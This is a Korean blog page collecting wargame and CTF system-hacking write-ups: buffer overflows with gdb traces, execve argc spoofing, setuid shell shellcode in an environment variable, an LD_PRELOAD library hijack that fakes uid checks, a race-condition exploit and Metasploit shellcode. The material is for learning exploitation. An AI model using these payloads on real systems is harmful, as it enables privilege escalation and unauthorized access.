티스토리 툴바


'Security/System hacking'에 해당되는 글 7건

  1. 2010/11/24 SMP2010 binary hacking6 풀이 by sosal
  2. 2010/07/04 쉘코드 주소값, ret값 위치, .dtors 위치 찾기 by sosal
  3. 2010/07/03 Linux :: RTL 맛보기 by sosal
  4. 2010/01/27 Linux - shared library Hijacking by sosal (2)
  5. 2010/01/05 Race condition 해킹 기법 문제 by sosal
  6. 2010/01/05 Linux - BOF metasploit을 이용한 간단한 buffer over flow by sosal (3)
  7. 2009/11/01 BOF - 01.buffer over flow? 메모리 구조, 레지스터 by sosal (2)
/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

smp2010 중, 6번 바이너리 해킹문제 입니다.
문제파일입니다.


리눅스 서버에서 wget 툴을 사용하여 바이너리를 일단 받죠. (위 파일의 url임)
wget http://sosal.tistory.com/attachment/cfile23.uf@167E83114CEC1DCD1F4271

받은 파일의 이름을 간단하게 바꾸고, file 명령어로 실행이 가능한 파일인지 확인 후
실행해봤습니다. Segmentation fault! 작렬하네요.
argv를 넣어보니, 뭔가 인자를 발견했다 하고 바로 꺼지네요..?



(일단 설치하고 문제 프로그램의 이름을 myfile로 수정하여 공격하겠습니다.)



매개변수를 여러개 넣어도 같은 결과네요.
리눅스에서 바로 분석하긴 힘드니 IDA를 이용해서
이 문제의 프로그램을 분석해봐야겠습니다. ㅎㅎ



ELF 파일 형식으로 로드해서.. 켜서 어셈블리를 분석해봤습니다.
우선 처음 메인루틴입니다.



단순히 인자를 받아 있으면 어떤 함수 (vuln1) 실행, 없으면 종료. 하는 프로그램입니다.
좀더 자세히 보기위해 IDA에서 제공하는 헥스레이를 이용하여
C언어 (수도코드) 로 확인해 봅시다.



main(int argc,char *argv[]) 겠네요.
매개변수가 존재하면, exit(0), 종료를 해버립니다 --;
argument를 넣지 않아야 vuln1이 실행되는데, 여기서 a2+4를 넘기네요.
(a2 + 4) 인 이유는, argv[0]는 파일 이름, argv[1]은 첫번째 매개변수이므로
메인함수에서는 첫번째 매개변수를 함수로 전달하는 역할을 하고 있네요.

그러니까 문제는 argument 수는 0개 (즉 파일이름만..)를 넣으면서
argument에 쉘코드나 여타 헥사를 집어넣어서 공격하란말 --;
쉘에서는 당연히 불가능한 일이겠죠.
프로그래밍, execl() 시스템콜을 이용하여야만 가능할 것 같습니다.
exec 계열로, 원하는 위치의 프로그램을 실행하면서, argv[0]부터 마음대로 수정할 수 있기 때문에
// (argv[0]은 기본적으로 파일 이름이 들어가도록 되어있습니다.)
argv[0]에 NULL을, argv[1]에다 값을 삽입해주면 우리가 원하는 일을 할 수 있겠죠.

vuln1 함수에 들어가 헥스레이로 c로 변환해보니



매개변수 그대로를 가져와 다시 vuln2 함수로 또다시 전달하네요.



마지막 vuln2 함수에서 dest라는 녀석에 strcpy 한 후 return 0;
여기서 vuln2 라는 녀석의 리턴값을 공격하면 되겠네요.
BOF 취약점이 가볍게 보입니다.

다시 어셈블리로 vuln2 함수를 볼까요?









Dest의 위치가 -64h (100) 이므로
100byte + 4byte (EBP) + Shellcode (RET)
를 넣어주면 공격이 될 것으로 예상해 봅니다.














그럼 일단 이문제에서 if( argc > 1) exit(0); 이 루틴을 피해야만 하는데,
그러기 위해서는 프로그래밍이 필요하다고 말했습니다.

이 루틴을 피하는 프로그램을 만들어 보겠습니다. (문제 프로그램의 이름은 myfile 입니다.)


execl에 의해 실행 되는데, argv[0]에 NULL을 넣기 때문에,
실행될 myfile (공격대상) 의 argc는 0이 됩니다.
따라서 found argument 조건문을 통과할 수 있습니다.

/* 
 * gcc attack.c -o attack
 * execve 함수를 이용하여, 마지막 인자로 argv[1] (사용자의 입력)을 전달.
 * execl 같은 함수를 이용하면 되지 않더군요..
 * vortex 워게임 4번과 유사한 문제입니다.
 */




/*
 * gcc test.c -o test
 * execve에 의해 실행되는 test 프로그램이며,
 * 제대로 인자가 넘어왔는지 확인해주는 역할을 합니다.
 * /




result of attack file.



argc를 속이는데 성공하였고, 사용자의 입력에 따라 perl이나 python으로도
argv[1] 위치에도 원하는 문자열을 줄 수 있는 프로그램을 만들었습니다.

이제 타겟 프로그램이 test가 아닌, myfile로 옮겨주면, 공격이 시작됩니다.


/*
 * gcc attack.c -o attack
 * 공격파일입니다.
 * argv[1]번에 perl 이나 python으로 자유롭게 헥사값을 넣을 수 있습니다.
 * 공격하는 바이너리는 myfile 입니다.
 */
 





이제부터 폭풍의 디버깅이 시작됩니다 --;
sosal@kaspyx-desktop:~$   gdb ./attack
(gdb) catch exec // execve 함수가 실행한 뒤에, 제어권을 잃지 않도록 하는 명령어
Catchpoint 1 (exec)
(gdb) r `perl -e 'print "\x55"x100,"\x66"x4,"\x77"x4'`
// 위에서 예상한 바로, 100byte + 4byte (ebp) + 4byte(ret),
// 즉 0x77777777이 리턴되길 기대해봅시다.

Starting program: /home/sosal/attack `perl -e 'print "\x55"x100,"\x66"x4,"\x77"x4'`
Executing new program: /home/sosal/myfile
Catchpoint 1 (exec'd /home/sosal/myfile), 0xb7833810 in ?? ()
   from /lib/ld-linux.so.2
(gdb) disas main // catch exec 덕분에 제어권을 가져왔습니다.
Dump of assembler code for function main:
0x08048419 <main+0>:    lea    0x4(%esp),%ecx
0x0804841d <main+4>:    and    $0xfffffff0,%esp
0x08048420 <main+7>:    pushl  -0x4(%ecx)
0x08048423 <main+10>:   push   %ebp
0x08048424 <main+11>:   mov    %esp,%ebp
0x08048426 <main+13>:   push   %ecx
0x08048427 <main+14>:   sub    $0x4,%esp
0x0804842a <main+17>:   mov    %ecx,-0x8(%ebp)
0x0804842d <main+20>:   mov    -0x8(%ebp),%eax
0x08048430 <main+23>:   cmpl   $0x1,(%eax) // 반드시 통과할 것입니다. (execve)
0x08048433 <main+26>:   jle    0x804844f <main+54>
0x08048435 <main+28>:   sub    $0xc,%esp
0x08048438 <main+31>:   push   $0x8048540
0x0804843d <main+36>:   call   0x804830c <puts@plt>
0x08048442 <main+41>:   add    $0x10,%esp
0x08048445 <main+44>:   sub    $0xc,%esp
0x08048448 <main+47>:   push   $0x0
0x0804844a <main+49>:   call   0x804831c <exit@plt>
0x0804844f <main+54>:   mov    -0x8(%ebp),%edx
0x08048452 <main+57>:   mov    0x4(%edx),%eax
0x08048455 <main+60>:   add    $0x4,%eax
0x08048458 <main+63>:   mov    (%eax),%eax
---Type <return> to continue, or q <return> to quit---
0x0804845a <main+65>:   sub    $0xc,%esp
0x0804845d <main+68>:   push   %eax
0x0804845e <main+69>:   call   0x8048403 <vuln1>
//여기서 break * 걸고, 함수로 진입(si)

0x08048463 <main+74>:   add    $0x10,%esp
0x08048466 <main+77>:   mov    $0x0,%eax
0x0804846b <main+82>:   mov    -0x4(%ebp),%ecx
0x0804846e <main+85>:   leave
0x0804846f <main+86>:   lea    -0x4(%ecx),%esp
0x08048472 <main+89>:   ret
End of assembler dump.
(gdb) b *main+69 // call vuln1 에서 break* 걸기
Breakpoint 2 at 0x804845e
(gdb) c // vuln1 실행 바로전까지 가기
Continuing.

Breakpoint 2, 0x0804845e in main ()
Current language:  auto; currently asm
(gdb) si //vuln1 함수로 진입
0x08048403 in vuln1 ()
(gdb) disas vuln1
Dump of assembler code for function vuln1:
0x08048403 <vuln1+0>:   push   %ebp
0x08048404 <vuln1+1>:   mov    %esp,%ebp
0x08048406 <vuln1+3>:   sub    $0x8,%esp
0x08048409 <vuln1+6>:   sub    $0xc,%esp
0x0804840c <vuln1+9>:   pushl  0x8(%ebp)
0x0804840f <vuln1+12>:  call   0x80483e4 <vuln2>
0x08048414 <vuln1+17>:  add    $0x10,%esp
0x08048417 <vuln1+20>:  leave
0x08048418 <vuln1+21>:  ret
End of assembler dump.
(gdb) b *vuln1+12 // vuln2 함수 실행 직전에 break *
Breakpoint 3 at 0x804840f
(gdb) c // vuln2 실행 바로전까지 가기
Continuing.

Breakpoint 3, 0x0804840f in vuln1 ()
(gdb) si // vuln2 함수로 진입
0x080483e4 in vuln2 ()
(gdb) disas vuln2
Dump of assembler code for function vuln2:
0x080483e4 <vuln2+0>:   push   %ebp
0x080483e5 <vuln2+1>:   mov    %esp,%ebp
0x080483e7 <vuln2+3>:   sub    $0x78,%esp
0x080483ea <vuln2+6>:   sub    $0x8,%esp
0x080483ed <vuln2+9>:   pushl  0x8(%ebp)
0x080483f0 <vuln2+12>:  lea    -0x64(%ebp),%eax
0x080483f3 <vuln2+15>:  push   %eax
0x080483f4 <vuln2+16>:  call   0x80482fc <strcpy@plt>
0x080483f9 <vuln2+21>:  add    $0x10,%esp
0x080483fc <vuln2+24>:  mov    $0x0,%eax
0x08048401 <vuln2+29>:  leave
0x08048402 <vuln2+30>:  ret // 우린 리턴직전 ebp와 ret 값만 확인하면 된다.
End of assembler dump.
(gdb) b *vuln2+30 // Ret까지 이동
Breakpoint 4 at 0x8048402
(gdb) c
Continuing.

Breakpoint 4, 0x08048402 in vuln2 () // 리턴하기 직전 도착
(gdb) info reg
eax            0x0      0
ecx            0xbffcc693       -1073953133
edx            0x6d     109
ebx            0xb781eff4       -1216221196
esp            0xbffcc6fc       0xbffcc6fc
ebp            0x66666666       0x66666666 // ebp가 0x66으로 덮혔다!
esi            0x8048490        134513808
edi            0x8048330        134513456
eip            0x8048402        0x8048402 <vuln2+30>
eflags         0x282    [ SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) q

자. 덮는걸 확인했으니 이제 저 ret값에 쉘코드만 넣어주면 된다.

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */



쉘코드의 주소를 환경변수로 가져올 수 있습니다.

localhost] $ export hkpco=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

int main( void )
{
        char *p = getenv("hkpco");
        printf( "%p\n" , p );
}

-쉘코드 출처 - http://hkpco.kr/
UnivShellcode - EnvironmentValue


ret값 위치 찾기

attackme라는 프로그램의 ret값이 어느 주소에 위치하는지 찾고싶을 때

localhost] $ gdb ./attackme

(gdb) b main
Breakpoint 1 at 0x80484a3
(gdb) x/x $ebp
0xbffffaf8:     0xbffffb18

bffffaf8 다음 4바이트가 ret값이므로,
bffffafc (bffffaf8 + 4) 가 ret값의 주소입니다.

/*
 * break pointer를 main에다 걸었습니다.
 *
 * b *main과 b main의 차이점
 * b *main은 main함수가 시작하기 직전의 위치
 * b main 은 main함수의 내부 스택프레임이 모두 형성되고 나서
 * 함수에 쓰기위한 지역변수들의 자리를 확보하기 바로 "직전"의 위치
 */


.dtors 위치 찾기

dtors는 소멸자 함수와 같은것인데, 이 주소에 우리가 원하는
쉘코드의 주소를 넣는 형식으로 자주 사용합니다.

localhost] $ objdump -s -j .dtors ./attackme

./attackme:     file format elf32-i386

Contents of section .dtors:
 80496d8 ffffffff 00000000                    ........

위에 나타난 80496d8 + 4 = .dtors의 주소입니다.

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

Linux :: RTL 맛보기

2010/07/03 02:25 by sosal

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


1. Shared Library Hijacking?
2. 예제와 Shared library(공유라이브러리) 의존성을 확인법
3. 라이브러리를 만들기 위한 gcc 컴파일러의 옵션
4. 완성된 공격 라이브러리를 이용하여 공격하기


1. Shared Library Hijacking?

공유라이브러리는 심볼(함수,변수)들을 프로그램이 시작하기 전에 로드하여,
필요로 할때마다 연동되는 동적인 라이브러리이다.
메모리, 용량 절약과 라이브러리를 언제든지 업데이트 할 수 있는 융통성을 가지고 있지만
사용자로부터 접근하기 쉽도록 짜여 있어, 보안에 문제가 발생한다.

일반적으로 gcc 컴파일을 대부분 아래와 같이 하게된다.
gcc source.c -o source
gcc -o source source.c

이렇게 만들어진 프로그램들은 기본적으로 공유 라이브러리를 참조하는 방식으로
symbol (function, variable) 를 가져온다.



   아래 그림은 공유 라이브러리가 프로그램에 적재되는 모습을 보여준다.


사용자가 만든 프로그램 소스는 컴파일 되면서
라이브러리를 프로그램에 포함시키지 않고,
프로그램이 동작중에 필요한 symbol이 있을때
공유 라이브러리를 찾아가서
심볼(함수,변수) 정보를 가져온다.
shared library hijacking 취약점은
라이브러리를 프로그램이 실행될 때,
공유 라이브러리에서 심볼을 적재하는 과정에서
나타나게 된다.


 



공유 라이브러리를 프로그램에 적재하는 과정에서의 취약점?.

아래 그림은 공유 라이브러리 취약점을 이용한 하이재킹을 보여준다.


예)
프로그램이 system()를 공유라이브 러리를 참조하여 호출 하려고 한다.
하지만 , 프로그램이 system() 가 정의되어있는 공유라이브러리에
도착하기 전에 사용자가 임의로 system()라는 함수가 여기있다! 라고 프로그램에게 전달한 뒤
system(char*) { return "Fuck you" } 이렇게 사용자를 엿맥인다!!


한 프로그램이 실행 권한에서 프로그램 사용 권한을 막지 않고,
euid, ruid나 gid 등으로 사용자의 신분을 확인하여 아래 코드를 진행, 다른 코드로 진행~
하는 프로그램이 있다면.. 이 취약점으로 프로그램을 누구든 원하는 방향으로
이리저리 가지고 놀 수 있다는 엄청난 결과가 초래될 수 있다.


2. 예제를 만들고, 툴을 이용하여 Shared library(공유라이브러리) 의존성을 확인

크랙킹할 파일의 예제 소스

/*
 *      Attackme
 *      gcc Attackme.c -o Attackme
 */

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>

int main(void){

    uid_t uid = getuid();      // 공유 라이브러리 참조 함수들
    gid_t gid = getgid();

    uid_t euid = geteuid();   
    gid_t egid = getegid();   

    if(uid != 1209 | euid != 1209){ 
        printf("You are not 1209!!. GET AWAY! \n");
        exit(EXIT_FAILURE);
    }

    if(gid != 1209 | egid != 1209){
        printf("You are not 1209!!. GET AWAY!! \n");
        exit(EXIT_FAILURE);
    }

    int i,j;
    char password[] = "abcdefghij";

    for(i=0;i<10;i++)
        for(j=0;j<i;j++)
            password[i]++;

    printf("Password is :: %s\n",password);
    return 0;

}



 :: 정리
공유 라이브러리에 대한 취약점과 하이재킹 원리를 이해하셨으면 좋겠습니다.
Attackme 소스만 보고도 어떤 공격이 이루어질지 예측 가능하시길

그럼, Shared Library Hijacking 공격 가능 여부를 알아보기 위해 (예제 Attackme)
프로그램이 공유 라이브러리를 참조하는지에 대한 정보를 가져오는 방법에 대해 알아보려 한다.


1) objdump 툴을 이용한 공유 섹션 확인하기

              objdump - display information from object files.
              파일의 정보들을 추출하여 그 내용을 보여주는 툴

바이너리 파일을 공격하려는 해커들에게 가장 사랑받는 툴이다.
옵션은 하나 이상을 사용해야만 출력할 수 있다.

full contents 옵션 -s 을 사용하여 볼 수 있지만,
-p, --private-headers    Display object format specific file header contents
특정 헤더 정보가 담겨있는 오브젝트 포맷을 출력해주는 옵션을 사용하면 편하다.



Dynamic Section:
    NEEDED       libc.so.6

위 결과로 libc.so.6 하나의 공유 라이브러리를 필요함을 알 수 있다.
이 정보들은 동적 공유 섹션의 NEEDED에 기록되어 있다.
하지만, 위 프로그램이 libc.so.6 하나만 필요한것은 아니다.
공유라이브러리는 내부적으로 또 다른 공유 라이브를 필요로 하기 때문이다.

2) ldd 공유 라이브러리 의존 관계 확인

            ldd - print shared library dependencies
            공유라이브러리 의존성을 확인하는데 특화된 프로그램

ELF 파일이 실행 하려 할 때 필요한 공유 라이브러리에 대해서 검사하는 프로그램이다.
이 정보들은 동적 섹션의 NEEDED에 기록되어 있다. (objdump 출력문에서도 보았다.)
objdump나 readelf를 사용하여 공유 라이브러리 의존관계를 확인할 수 있지만,
개별적으로 각각의 공유 라이브러리에 대한 의존 관계를 확인해야 하므로 번거롭고,
또한 공유라이브러리의 디렉토리 경로를 정확히 얻기도 어렵다.

ldd라는 프로그램은 사실 단순한 셸 스크립트인데, 중요한것은 환경변수이다.
LD_TRACE_LOADED_OBJECTS에 1을 설정하여 프로그램을 실행시키면
프로그램 실행 시점에 ELF 런타임 로더가 필요한 공유라이브러리를 찾아 메모리에 로딩해서
그 정보를 표시한 후, 실제 프로그램이 실행되기 전에 종료하게 된다.
따라서 ldd를 사용하지 않더라도, 위 환경변수를 이용하면 동일한 결과를 얻을 수 있다.

(-v 옵션을 뺀것과 같은 결과)


3) readelf - ELF 파일 정보 보기

Binary File Descriptor Library(이하 BFD Library) 를 이용하지 않고,
직접 ELF에 접근하여 읽기위한 툴이다.
readelf는 BFD Library를 경유하지 않기 때문에, objdump보다 상세한 정보를 얻을 수 있다.

-d     (--dynamic) 옵션을 사용하여 볼 수 있다.
     Displays the contents of the file’s dynamic section, if it has one.



- readelf


 ::  정리

동적 공유 라이브러리 의존성을 확인하면서 Attackme는 libc.so.6 이 필요한 실행 파일이라는 것을 알 수 있었다.
공유 라이브러리는 /usr/lib나 환경변수 LD_LIBRARY_PATH에 설정되어 있는 경로를 참조한다.
2. ldd 에도 설명되었지만, 환경변수를 이용하여 의존 동적 라이브러리를 확인하기도 하였다.
(사실 ldd 명령은 내부적으로 환경변수 LD_TRACE_LOADED_OBJECTS를 이용해 구현되어 있다.)



3. 라이브러리를 만들기 위한 gcc 컴파일러의 옵션

-shared 옵션
공유 라이브러리를 우선하여 링크하도록 하는 옵션
정적라이브러리와 같이 있을 경우에 우선적으로 공유 라이브러리를 링크하도록 하는데,
사실 아무 옵션을 주지 않아도 공유 라이브러리를 우선적으로 링크한다.

-fpic -fPIC 옵션
gcc 컴파일러가 object file을 만들때, 그 안의 symbol (function, variable)들이
어떤 위치에 있더라도 동작을 하는 구조로 compile 하라는 것입니다
그렇게 된 것만이 리눅스에서 사용 가능한 모듈파일(*.so)이 될 수 있습니다.
모듈파일(*.so)은 안에는 공유 라이브러리가 포함되어있습니다.


-fpic와 -fPIC - 둘의 차이점.

      "코드를 생성하기 위해 -fPIC이나 -fpic을 사용하라. 코드를 생성하기 위해
      -fPIC이나 -fpic을 사용하는 것은 타겟에 따라서 다르다.
 
      -fPIC을 사용하는것은 언제나 동작한다.
      하지만, -fpic을 사용하는 것보다 큰 코드를 생성할 것이다
      (PIC은 더 큰코드를 위한것이라서 더 많은 양의코드를 만든다는 것을 기억하라)

      -fpic옵션은 작고 빠른 코드를 만든다. 하지만, 전역심볼이나 코드의 크기 같은 것에서
      플랫폼에 독립적이다. 링커는 공유 라이브러리를 만들때 이 옵션이 맞는지 말해줄 것이다.
      어느것을 써야 할지를 모를때, 나는 언제나 동작하는 -fPIC을 선택한다"
 
-fpic, -fPIC의 차이점은 KLDP 문서중에 인용하였습니다.
http://kldp.org/HOWTO/html/Program-Library-HOWTO/



4. 공격 라이브러리 만들기


Attackme 파일은 위에서 만든 예제를 사용한다.

/*
 *      Attack
 *      gcc Attack.c -fPIC -shared -o Attack.so
 
*/


#include <dlfcn.h>      //동적 라이브러리 관련 헤더파일이지만, 여기서는 사실 큰 의미는 없음
#include <unistd.h>
#include <sys/types.h>

uid_t getuid( void ){
        return 1209;
}
uid_t getgid( void ){
        return 1209;
}
uid_t geteuid( void ){
        return 1209;
}
uid_t getegid( void ){
        return 1209;
}

모두 libc.so.6 에 정의되어 있는 함수들이지만,
Attackme 라는 프로그램에서 uid, gid 검사 루틴을 통과하기 위해
모두 리턴값을 1209로 줬다.
상당히 간단한 프로그램이다.

[sosal@localhost ~]$ gcc Attack.c -fPIC -shared -o Attack.so

< 4. 컴파일러 옵션 > 을 보셨다면, 위 컴파일 과정은 충분히 이해 되리라 생각한다.

이제 공유 라이브러리를 만들었으니, 파일을 실행시킬때
libc.so.6 라이브러리 보다 Attack.so 라는 라이브러리를
먼저 참조하도록 만들어야 한다.

[sosal@localhost ~]$ export LD_PRELOAD="/home/sosal/attack.so"

LD_PRELOAD는 프로그램이 라이브러리를 가져오기 전에
원하는 라이브러리를 먼저 등록시켜두는 환경변수로,
프로그램은 LD_PRELOAD로 지정된 공유 오브젝트를 먼저 링크시키게 된다.
프로그램이 사용하는 함수들은 attack.so 에 존재하고, 먼저 링크되었으므로
이 함수들이 실행되게 된다.

이제 실행하면 LD_PRELOAD가 지정한 attack.so 라이브러리를 먼저 링크시키게 되므로
uid , gid 확인하는 루틴에서 if 구문을 모두 만족하기 때문에,
패스워드가 출력되는 루틴으로 들어가게 된다.

[sosal@localhost ~]$ ./attackme






참고 자료 및 문서, 홈페이지

hkpco 박찬암 님의 문서
http://packetstormsecurity.org/papers/attack/shl_hijacking.txt
http://hkpco.kr/paper/udcsc2006_report.txt

yundream 윤상배 님의 블로그
http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/C/Documents/Make_Library

해커가 전수하는 테크닉 100선 Binary Hacks / O'REILLY
유닉스, 리눅스 프로그래밍 필수 유틸리티 / 한빛 미디어

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

  1. 캣퓌 2010/03/30 21:15  댓글주소  댓글쓰기 수정/삭제

    오 공유라이브러리 취약점 치니까 나오네 ㅋ

  2. yundream 2010/02/03 00:59  댓글주소  댓글쓰기 수정/삭제

    좋은 포스트라서 링크 남길 목적으로 트랙백 걸었습니다.

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

2009 11월 16~17일 24시간동안 진행된
시립대학교 idea bank 해킹대회 chal0 문제입니다.
아래는 문제 소스입니다. (바로 공개되었습니다.)
/home/chal1/keyfile 을 읽어라! 가 문제의 목적입니다.

//----------- 문제 소스 chal0 -------------//

#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char * argv[])
{
   int loop;
   char buffer[512];

   memset(buffer, 0, sizeof(buffer));

   if (argc != 2) return 0;
   if (strlen(argv[1]) >= 30) return 0;

   for (loop = 0; loop < strlen(argv[1]); loop++)
   {
        if (argv[1][loop] != '/' && !isalnum(argv[1][loop]))
        {
                argv[1][loop] = '_'; //특수문자 필터링
        }
   }

   sprintf(buffer, "%s.akkka", argv[1]); //문자열 끝에 akkka 추가
   setenv("PFILEAKKKA", buffer, 1);
   return system("/bin/cat $PFILEAKKKA");
}

// ---------- 문제 소스 ----------- //

특수문자를 필터링하고, 끝에 .akkka를 넣는 점에서
어떻게 해보시려 했다면.. 이미 시간은 over!

이문제의 요점은 마지막 2문장에 있습니다.

   setenv("PFILEAKKKA", buffer, 1);
   return system("/bin/cat $PFILEAKKKA");

PFILEAKKKA 라는 환경변수를 buffer의 값으로 추가하는데,
세번째 인자 1의 뜻은, 이미 똑같은 이름으로 환경변수가 정의되어 있다면
덮어 쓰라는 뜻입니다. 0일 경우에, 이미 같은이름의 환경변수가 존재한다면
환경변수를 새로 등록하지 않습니다.
$ + 환경변수 이름 .. 을 통하여 변수처럼 사용할 수 있습니다.

setenv 함수로 PFILEAKKKA
그 값으로 cat 프로그램을 실행시키는데,
우리는 이 두 함수의 사이 간격을 노리면 됩니다.
setenv -> 다시 또 환경변수를 바꿈 -> system("/bin/cat.... ) 실행!!

그렇게 되면 /home/chal1/keyfile 을 읽을 수 있습니다.

저는 다중 프로세스로 코드를 짰습니다.
#include<stdio.h>
#include<stdlib.h>

int main(void){
   pid_t pid;
   pid = fork();
   if(pid==0){
       int i=0;
       for(i=0;i<1000;i++){
          system("/uoscon/chal0 a&"); //프로그램을 동시에 1000번을 실행하면서
       }
   }
   else{
       int i=0;
       for(i=0;i<1000;i++){
           system("export PFILEAKKKA='/home/chal0/keyfile"); //환경변수를 우리가 원하는 값으로 계속 바꿔줍니다.
       }
   }
}

1000번정도만 실행해주면
결국 setenv 와 return system() 함수 사이에 환경변수를 등록하는 부분이 생길것입니다. !!

system 함수에  " > " 다이렉션 기능을 추가해주시면
저장한다면 더 쉽게 답을 찾을 수 있습니다.

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */


BOF에 대해 기본적인 지식이 없으신 분은
아래 링크에 가셔서 글을 읽고오세요!!
제 나름대로 최선을 다해서 그림을 그려가며
열심히 만든 포스트입니다 >_< ~!! 많이 봐주시면 좋겠습니다 하하.,.; ㅎㅎ
LINK_

/*
 * 사실 요즘 나오는 OS들은 BOF 버그가 통하지 않습니다..
 * 그럼에도 이 해킹기법을 공부하는 이유는..
 * 컴퓨터 메모리 구조에 대한 이해(?)를
 * 극대화 시킬 수 있는 재미있는 놀이이기도 하고..
 * ftz.hackerschool.org 워게임 문제들중..
 * 대략 50% 만큼의 비중을 차지하고 있는
 * 공격기법이기도.. ㅎㅎ
 * 여튼 한번 Buffer over flow를 한번 일으켜 봅시다.. ㅠ
 * 아래 bof 실습 환경은 제가 리눅스 구버전을 가지고 있지 못해서
 * ftz.hackerschool.org 의 id : level1 , pw : level1
 * 환경에서 실습함을 알려드리는 바입니다.
 */

================================= 고고싱? ㅎㅎ

그럼 기본적인 BOF의 원리를 아시는 분은.. 이제
BOF 실습을 해보셔야겠죠?
메인함수의 리턴값을 어쩌고 하면서.. 그 값을 바꾸면
우리가 마음대로 할 수 있다고는 했는데..
그 값을 어떻게 바꾸냐 ㅡㅡ. 그게 문제입니다 .. 하핫..

메인함수의 리턴값에 우리가 원하는 내용
(흔히 쉘을 실행시킨다던가 간단히 ls라도 출력해보는 내용?)
을 넣기 위해서는 그 파일을 실행시키는 내용이 있어야합니다. (으잉?)
이 내용은.. C언어로 쉽게 넣어줄순 없겠지요?
리턴값(4Byte)에다 무언가 넣어야하는데
컴퓨터가 그 값을 인식하려면.. C언어??? 아니지요!!
기계어를 넣어야 합니다..

기계어 느님이라니요 ㅠㅠ
10011001101100 숫자의 남발 아닙니까?..
\xda\xcb\x33\xc9\xb1\x0a\xbb\x74\xa0\xa2\x03\xd9\x74\x24\xf4
요로코롬 생겼다고 하네요.. ㅡㅡㅋ

이것을 우리가 GDB로 어셈블리 코드를
기계어로 바꿔서 하나하나 붙이기란
엄청난 노력 (아주 하찮은 일이지만)이
필요하게 되므로......
쉽게 기계어를 구할 방법이 필요합니다.

기계어를 쉽게 구하는 방법??
누군가 이 방법을 만들어놨겠죠!!
그 주인공이 바로 Metasploit !! 위엄입니다.
제 주위에 계신 유명한 해커분들이
쉘코드를 짤때 항상 유용하게 쓴다고 합니다 ^-^

하여튼 Metasploit을 설치하고,
BOF를 이용하여 간단히 ls 프로그램을 출력해보는
글을 아래에 계속 써내려 갈것입니다 ㅎㅎ
Metasploit은 꼭.. 챙겨두세요!!

================ 아래는 단순히 설치.. 내용입니다.

http://metasploit.com/
사이트 접속 후 메타스플로잇 다운로드!!

   

알맞는 본인의 OS를 선택하여 설치하세요~ ^-^
저는 주로 윈도우에서 작업하므로..
(Putty를 이용하여 원격으로.. 리눅스를 이용합니다.)
그리구.. 설치도 다하시구.. NMAP을 깔꺼냐고 묻는데
본인의 선택입니다.~ ㅎㅎ

그리고 설치 완료후.. 시작을 누르면.. 아래 메뉴가 있죠?


Metasploit Web을 클릭!!
콘솔창이 뜨고 초기화 어쩌고 메세지를 부부붕 띄우며
곧 새로운 웹창이 뜨게됩니다.
윗부분을 볼까요?


Payloads를 클릭합니다 !! ㅎㅎ

그럼 수많은 커맨드 쉘이 뜨는데....
여기서 필요하신것을 골라서 쓰시는 것입니다!

===================== 여기까지 설치.. 그럼 아래부터 .. 고고!!

이 포스트에서는 단순히 ls 라는 프로그램을
BOF를 이용하여 실행시켜보자는 생각으로. 글을 쓰고있기에 ^-^;;
ls라는 프로그램을 실행시키는 기계어 코드가 필요하겠죠?
이 기계어는 당연히 프로그램이 끝날시점의 리턴값 (메인의 리턴)에
들어갈 내용입니다.
Linux Execute shell 을 이용해봅시다.


을 클릭!!
그러면 아래와 같은 그림처럼.. 창이 새로 올라옵니다.




간단하게 ls를 실행시키는 기계어를 구하기 위함이니까..!!
ls만 딱 쳐주고 [Generate]를 클릭합니다 ㅎㅎ

/*
 * linux/x86/exec - 65 bytes
 *
http://www.metasploit.com
 * Encoder: x86/shikata_ga_nai
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=ls
 */

unsigned char buf[] =
"\xda\xcb\x33\xc9\xb1\x0a\xbb\x74\xa0\xa2\x03\xd9\x74\x24\xf4"
"\x5f\x31\x5f\x19\x03\x5f\x19\x83\xc7\x04\x96\x55\xc8\x08\x0e"
"\x0f\x5f\x69\xc6\x02\x03\xfc\xf1\x35\xec\x8d\x95\xc5\x9a\x5e"
"\x07\xaf\x34\x28\x24\x7d\x21\x29\xaa\x82\xb1\x42\xd9\x82\xe6"
"\xc9\x94\x62\xc5\x6e";

우와 우와.. 이게 진짜 그 기계어 느님 입니다 !! ㅎㅎ
눈이 휘둥그래지긴 하는데
이것을 이제 진짜 사용한다니 어꺠가 으쓱해지는 순간입니다.

그럼 기계어는 땃는데 ㅠㅠ
리턴값을 어떻게 바꾸고 또 뭐 리턴이 어쩌고..
혹시라도 BOF 원리가 이해 안되신분은
이 글의 가장 윗쪽 링크로 가셔서
간단하게 그림이나마 보고오시는게 좋을듯 합니다!!
(또 잡설이 길어지는군요. BOF를 시작해봅시다.)

아래는 BOF 실험파일 소스코드입니다.
// 위에서 언급했지만 ftz.hackerscool.org level1 / level1 계정이
// 아래 실습 환경임을 한번더 확인드리는 바입니다.

==========================================================
//bof.c
#include <stdio.h>

unsigned char buf[] =
"\xda\xcb\x33\xc9\xb1\x0a\xbb\x74\xa0\xa2\x03\xd9\x74\x24\xf4"
"\x5f\x31\x5f\x19\x03\x5f\x19\x83\xc7\x04\x96\x55\xc8\x08\x0e"
"\x0f\x5f\x69\xc6\x02\x03\xfc\xf1\x35\xec\x8d\x95\xc5\x9a\x5e"
